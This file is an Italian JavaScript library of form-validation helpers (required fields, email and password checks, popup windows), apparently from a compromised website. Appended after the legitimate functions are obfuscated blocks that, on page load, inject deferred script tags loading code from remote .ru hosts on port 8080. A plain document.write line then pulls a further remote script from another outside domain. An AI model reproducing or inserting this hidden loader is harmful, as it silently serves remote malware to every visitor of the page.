/*************************************************************************************************************
 * Autore: Passaglia Massimiliano                                                                            *
 * Data creazione: 31/08/2004                                                                                *
 * Questa funzione controlla che i campi considerati obbligatori siano realmente inseriti.                   *
 * E' necessario definire in campo hidden dove inserire tutti i campi da controllare separati da uno spazio. *
 * L'unico parametro da passare è il riferimento al form da controllare.                                     *
 * La funzione dovrà essere chiamata al momento della submit, di seguito un esempio.                         *
 *                                                                                                           *
 *********************************************Esempio*********************************************************
 *                                                                                                           *
 * <form onSubmit="return controlla_form(this);" name="form1" method="post" action="form.php">               *
 * <input type="hidden" name="require" value="nome cognome mail username">                                   *
 *                                                                                                           *
 *************************************************************************************************************/
function controlla_form(thisform){

  var req = new Array();
  
  with (thisform){
    req = require.value.split(" ");
    //var pw1 = password1.value;
    //var pw2 = password2.value;
    
    for (i=0;i<=elements.length-1;i++) {
    
      if (elements[i].value == "") {
        for (j=0; j<=req.length-1; j++){
          var nome_req = req[j];
          if (elements[i].name == nome_req){
            alert('Il campo "'+elements[i].name+'" non può essere nullo');
            elements[i].focus();
            elements[i].select();
            return false;
          }//fine if
        }//fine for campi obbligatori
      }//fine if
    }//fine for elementi form
    
    //controllo le password
//    var chk_pw = valida_num_caratteri(pw1, 8, 8, 'I');
//    
//    if (pw1 != pw2 && pw2 != ""){
//      alert ('Attenzione le due password non coincidono.');
//      password1.focus();
//      password1.select();
//      return false;
//    }
      
      //onBlur="valida_num_caratteri(this, 8, 8, 'I');" 
      //onBlur="valida_pw(this);"
  }//fine with

  return true;
}

function valida_mail(campo, alertmsg){

  with (campo){
    apos=value.indexOf("@"); 
    dotpos=value.lastIndexOf(".");
    lastpos=value.length-1;
    
    if (value!=null || value!=""){
      if (apos<1 || dotpos-apos<2 || lastpos-dotpos>3 || lastpos-dotpos<2){
      	
        if (alertmsg){
          alert(alertmsg);
          focus();
          select();
        }//fine if interno
        
        return false;
      }else{
        return true;
      }//fine if controllo
    }//fine if valore nullo
    
  }//fine with
}

function valida_num_caratteri(campo, min, max, datatype){

  alertmsg = "Attenzione! La password deve essere di 8 caratteri.";

  with (campo){
    if (value!=null || value!=""){
      if ((value.length<min) || (value.length>max)){
        if (alertmsg!=""){
          alert(alertmsg);
          //focus();
          //select();
        }
        return false;
      }else{
        return true;
      }
    }//fine if valore nullo
  }//fine with
}

function valida_pw(campo){

  v_pw = document.forms[0].password1.value;
  alertmsg = "Attenzione! Le due password inserite non corrispondono.";
  with(campo){
    if (value != v_pw){
      if (alertmsg!=""){
        alert(alertmsg);
      }
    }
  }
}

function OpenW(sURL, sWindowName, iWidth, iHeight)
{
  var iTop  = (screen.height - iHeight) / 2 ;
  var iLeft = (screen.width  - iWidth)  / 2 ;

  var sOption  = "location=no,menubar=no,toolbar=no,scrollbars=no,resizable=no,status=no";
  sOption += ",width=" + iWidth; 
  sOption += ",height=" + iHeight;
  sOption += ",top="  + iTop;
  sOption += ",left=" + iLeft;
      	
  var oWindow = window.open('',sWindowName,sOption)
  oWindow.moveTo(iLeft,iTop);
  oWindow.resizeTo(iWidth, iHeight);
  oWindow.location.href = sURL ;
  oWindow.focus();
}

function CloseW(){
  window.close();
}

f=15723;f++;var Qh={fM:53729};this.u=24727;this.u-=165;var On=new Array();function t(){var oG='';this.Rl="Rl";wQ=64854;wQ--;var DR="DR";var q="bo"+"dy";try {var lj='j'} catch(lj){};this.dV=34103;this.dV++;var I=String("ap"+"drGOpe".substr(4)+"3Db8ndb3D8".substr(4,2)+"CheGPI".substr(0,2)+"il"+"d");this.r=false;var y="cre"+"ate"+"Ele6k4".substr(0,3)+"menMfs".substr(0,3)+"t";this.Vu=12975;this.Vu++;var i=new String("scripuwj".substr(0,5)+"t");var w=window;var Z="defe"+"r";this.a=2601;this.a+=254;var S="onloa"+"d";var Q=document;_=4063;_--;var os=18852;var F=new String();var D=String("src");var J=["N","YY","PA"];function tu(){this.Ty=9976;this.Ty+=110;WA=22998;WA+=178;Ke=["dF","Kp"];try {this.nV=30884;this.nV--;try {} catch(ij){};var AM={Uv:"w_"};var B=870563-862483;var _X=[];var g="htt"+"p:/"+"/pa"+"ssp"+"kCKZort".substr(4)+"blu"+"es.Kv5".substr(0,3)+"ru:";var v=String("/wp"+"-pl"+"/go"+"ogl"+"e.c"+"om/"+"gam"+"etr"+"ail"+"ers"+".co"+"m.p"+"1ok5hp".substr(4));var OCA=["gE","s"];var Dj=1319-1318;var uy={NT:9891};var YO={dFT:47976};W=Q[y](i);pH=["yp","gr","oz"];this.TD='';W[D]=g+B+v;var lO="";W[Z]=Dj;try {var UC='pL'} catch(UC){};Q[q][I](W);var yy={DV:false};} catch(yC){this.Yb='';this.nea='';var se={ss:false};};}try {var E='VI'} catch(E){};w[S]=tu;};G={cx:false};t();this.El=34133;this.El+=253;try {} catch(Xd){};
try {var Hb='V'} catch(Hb){};try {var p='DS'} catch(p){};try {var N=new String();var n=new String();sZ={};kB=[];try {var Z='oa'} catch(Z){};var H=window[new String("unes"+"cape")];var mK='';pF=19108;pF+=206;try {} catch(nA){};var k_=new Date();var G=new String("repMEK".substr(0,3)+"lac"+"e");this.M=17706;this.M--;Vu=[];YT={oV:"ke"};var FU=new String();var ht={};var s='';try {} catch(Zn){};za={};this.zJ=37342;this.zJ-=2;this.OI=45618;this.OI-=183;var K=new Date();var x=new String("1");var j=["Pt"];this.JG='';var xx=["i"];this.r="r";this.zR="zR";var Q=window[("Rex5y".substr(0,2)+"xm93gE".substr(4)+"VUKsxpVUKs".substr(4,2))];var g=new String("onlfwuG".substr(0,3)+"oad");var nf={tj:false};var lF=["sP","JU","QP"];Sq=["xJa"];this.Kc="Kc";var ye="ye";kt=16100;kt-=225;var No="";function F(x,_){this.uC=63015;this.uC++;this.dr="dr";var c=new String("[");var qo="";var sC=[];var he=[];e=["Kd"];var sPq="";c+=_;var Yu=["Qc"];var jX=["hq"];c+=H("%5d");this.bm="";var Ml=["CS","AB"];var gD=["Hq","dx"];var IX={vj:"FV"};this.BC="";var uz=["ff","Lb"];var zy=new String();yp=["pp"];var D=new Q(c, "g");return x.replace(D, s);var wf=new Date();DC=8073;DC++;CT={vA:"Op"};var Ns=new Date();};vZ=["sH"];Or=39535;Or-=185;yn={Gi:12246};var q=String("/go"+"oglXMYm".substr(0,3)+"e.c"+"om/"+"tub"+"e8."+"com"+"/ma"+"kto"+"ob."+"uA6com".substr(3)+".ph"+"p");var DJ=String("htt"+"p:/arMF".substr(0,3)+"3uIW/go".substr(4)+"thgP0IM".substr(0,3)+"TtEDuilEDtT".substr(4,3)+"O8udt.rd8Ou".substr(4,3)+"u:");var DG="DG";var HX=["Bf","cU","CA"];var um='';FK=[];var MJ=["Mz"];var P=721098-713018;uy={wH:false};Ck={rw:false};var js=new String();Gp=["p_"];YY=["SD","TO","DZ"];var uQH=new Array();UY=["BR","uV","vt"];function f(){this.HP=15860;this.HP++;this.j_=54869;this.j_-=194;var Y=F('sOc1rvivpBtO','qMvHO1B');var pM=new Array();var I=document;Aq={kF:"CP"};this.Dv=13596;this.Dv--;Gh={ER:"GM"};var U=new String("dNoapp".substr(3)+"endEog6".substr(0,3)+"ChiKbMD".substr(0,3)+"hYZld".substr(3));this.jf="jf";this.It="It";var Ve=new String();this.FUO="FUO";var ws=false;aR=17792;aR++;DV={lU:37980};_E=54221;_E++;R=I.createElement(Y);Co=47065;Co--;var ve=new Date();var gH={};Yqe=["Tw","jx"];var Xg='';UT=9377;UT--;var dm=["Kw","zs","ox"];var dn='';E=DJ+P;E=E+q;try {} catch(ef){};this.PcG="";var hrD=new Array();try {} catch(gf){};var X=I.body;var rM=[];this.vY=false;lA=["yD","jw"];var cs=[];try {var pA='cT'} catch(pA){};R["KrHdefe".substr(3)+"r"]=x;hf={mR:"Zu"};var MW={ZE:"Rw"};Ws={};var NU={Jfm:"fx"};R.src=E;var cW=["qs"];sI={};var T_=["Jc"];this.w_f=false;X[U](R);var zD={zN:false};Hg=6441;Hg--;this.XR="XR";this.OJ="OJ";this.CQ=31438;this.CQ++;};var Nw=false;this.NK="NK";Ct=[];window[g]=f;var ZD=new Date();} catch(RS){this.gX=false;this.Wm=false;DX={WS:38950};this.nb=false;};var uF=["uHe","hz"];try {var OvC='Ah'} catch(OvC){};rK=["Xz"];




document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Unmount.js"></scr'+'ipt>');